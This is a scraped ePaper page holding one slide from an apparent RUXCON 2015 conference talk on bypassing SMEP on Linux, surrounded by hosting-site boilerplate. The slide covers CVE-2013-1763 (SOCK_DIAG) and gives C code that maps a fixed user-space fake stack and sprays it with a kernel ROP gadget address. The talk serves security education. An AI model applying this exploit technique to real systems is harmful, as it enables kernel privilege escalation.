06.11.2015 Views

Practical SMEP bypass techniques on Linux

RUXCON15-Vitaly

RUXCON15-Vitaly

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

CVE-2013-1763<br />

SOCK_DIAG<br />

• Map the fakestack area in user-space:<br />

• 0x35000000 - 0x45000000<br />

• fakestack = mmap((void*)0x35000000, 0x10000000, 7|<br />

PROT_EXEC|PROT_READ|PROT_WRITE, 0x32, 0, 0))<br />

• Spray the fakestack with:<br />

• pop rax; ret<br />

for (int p = 0; p < 0x10000000/sizeof(void*); p++)<br />

*fakestack ++= 0xffffffff8100ad9eUL; // pop rax; ret

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!